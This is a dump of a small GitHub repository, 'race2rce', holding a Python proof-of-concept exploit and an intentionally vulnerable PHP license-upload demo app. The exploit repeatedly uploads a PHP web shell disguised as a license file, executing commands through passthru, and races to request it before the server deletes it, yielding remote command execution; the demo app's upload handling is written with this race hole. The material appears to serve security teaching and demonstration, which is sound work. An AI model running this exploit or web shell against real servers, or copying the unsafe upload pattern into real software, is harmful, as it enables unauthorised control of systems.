├── .DS_Store ├── .gitignore ├── LICENSE ├── README.md ├── elv_rce_exploit.py └── htdocs ├── .DS_Store └── Global ├── admin └── index.php ├── api └── index.php ├── config └── index.php ├── demo.lic ├── lic ├── LicenseManager.class.php └── index.php ├── logs ├── fakeapp.1.log └── fakeapp.2.log └── logviewer └── index.php /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fbogner/race2rce/5160625bd8670103f3f98147c3a99489c0334dfa/.DS_Store -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2018, Florian Bogner 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # race2rce 2 | A PoC that shows that Web Vulnerabilities can indeed be interesting 3 | -------------------------------------------------------------------------------- /elv_rce_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from threading import Thread 4 | from time import sleep 5 | import requests 6 | import urllib 7 | from bs4 import BeautifulSoup 8 | import sys 9 | 10 | result_received=False 11 | 12 | if len(sys.argv)!=3: 13 | print "Usage: "+sys.argv[0]+" " 14 | print "Example: "+sys.argv[0]+" http://10.1.1.10/tools/lic/ dir" 15 | sys.exit(1) 16 | 17 | target=sys.argv[1] 18 | cmd=sys.argv[2] 19 | 20 | def writer(): 21 | files = {'licenseFile':('cmd.php',"""fakeapp 22 | 23 | 24 | Name 25 | user@example.com 26 | 123-1234-123 27 | 28 | '; 34 | echo passthru($cmd); 35 | echo ''; 36 | ?> 37 | """)} 38 | 39 | tryNr=0 40 | 41 | sleep(0.5) # Wait for the reader to be started 42 | 43 | while not result_received: 44 | #print "Try # "+str(tryNr)+": Sending payload" 45 | sys.stdout.write('.') 46 | sys.stdout.flush() 47 | r=requests.post(target+'/index.php', data={'submit':'submit'},files=files) 48 | 49 | tryNr=tryNr+1 50 | if tryNr>2000: 51 | print "It looks like something is not working here... I will stop now" 52 | sys.exit(1); 53 | 54 | if __name__ == "__main__": 55 | print "==================================================" 56 | print "= Enterprise License Viewer RCE Exploit =" 57 | print "= A RACE TO THE TARGET =" 58 | print "= =" 59 | print "= Written by Florian Bogner, 03-2018 =" 60 | print "= florian@bogner.sh // https://bogner.sh =" 61 | print "==================================================" 62 | print "" 63 | 64 | print "Starting Writer thread (Sends the command to the server)" 65 | writer_thread = Thread(target = writer) 66 | writer_thread.start() 67 | 68 | print "Starting Reader ..." 69 | while True: 70 | r = requests.get(target+'/cmd.php?cmd='+urllib.quote_plus(cmd)) 71 | 72 | if r.status_code != 404: 73 | soup = BeautifulSoup(r.text,"lxml") 74 | output = soup.findAll('output') 75 | if len(output)==1: 76 | result_received=True 77 | print "" 78 | print "" 79 | print "WWWWWIIIIIINNNNN" 80 | print "" 81 | print "Received output:" 82 | print "==================================================" 83 | print output[0].text.strip() 84 | print "" 85 | break; 86 | -------------------------------------------------------------------------------- /htdocs/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fbogner/race2rce/5160625bd8670103f3f98147c3a99489c0334dfa/htdocs/.DS_Store -------------------------------------------------------------------------------- /htdocs/Global/admin/index.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fbogner/race2rce/5160625bd8670103f3f98147c3a99489c0334dfa/htdocs/Global/admin/index.php -------------------------------------------------------------------------------- /htdocs/Global/api/index.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fbogner/race2rce/5160625bd8670103f3f98147c3a99489c0334dfa/htdocs/Global/api/index.php -------------------------------------------------------------------------------- /htdocs/Global/config/index.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fbogner/race2rce/5160625bd8670103f3f98147c3a99489c0334dfa/htdocs/Global/config/index.php -------------------------------------------------------------------------------- /htdocs/Global/demo.lic: -------------------------------------------------------------------------------- 1 | fakeapp 2 | 3 | 4 | Demo 5 | demo@example.com 6 | 123-1234-123 7 | -------------------------------------------------------------------------------- /htdocs/Global/lic/LicenseManager.class.php: -------------------------------------------------------------------------------- 1 | serial=="123-1234-123") { 13 | return true; 14 | } 15 | else { 16 | return false; 17 | } 18 | 19 | } 20 | } 21 | ?> -------------------------------------------------------------------------------- /htdocs/Global/lic/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | Enterprise License Viewer 4 | 5 | 6 |

Enterprise License Viewer

7 |

This site allows you to view your FakeApp's license file. Please select your .lic license file and press upload to verify it.

8 | 9 |
10 | Select image to upload: 11 |
12 | 13 |
14 | 15 | verifyLicenseFile($_FILES['licenseFile']['name']); 50 | 51 | // if it's valid -> say so... 52 | if ($result!==false) { 53 | $message="This license file looks good."; 54 | } 55 | // ... otherwise report an error 56 | else { 57 | $color="red"; 58 | $message="License file is not valid."; 59 | } 60 | 61 | @fclose($fp); 62 | 63 | // clean up 64 | unlink($_FILES['licenseFile']['name']); 65 | } 66 | 67 | ?> 68 | 69 | 70 | 71 | 72 |
73 | 76 | 77 | 78 | -------------------------------------------------------------------------------- /htdocs/Global/logs/fakeapp.1.log: -------------------------------------------------------------------------------- 1 | This is just a sample log file... -------------------------------------------------------------------------------- /htdocs/Global/logs/fakeapp.2.log: -------------------------------------------------------------------------------- 1 | This is just a second sample log file... -------------------------------------------------------------------------------- /htdocs/Global/logviewer/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | Log Viewer 4 | 5 | 6 |

Log Viewer

7 |

This site allows you to view your FakeApp's log files. Please select a log to view:

8 | 9 | $file
"; 17 | } 18 | } 19 | ?> 20 | 21 | 36 |
37 |

Log content

38 | 39 | 40 | 41 | 42 |
43 | 46 | 47 | 48 | --------------------------------------------------------------------------------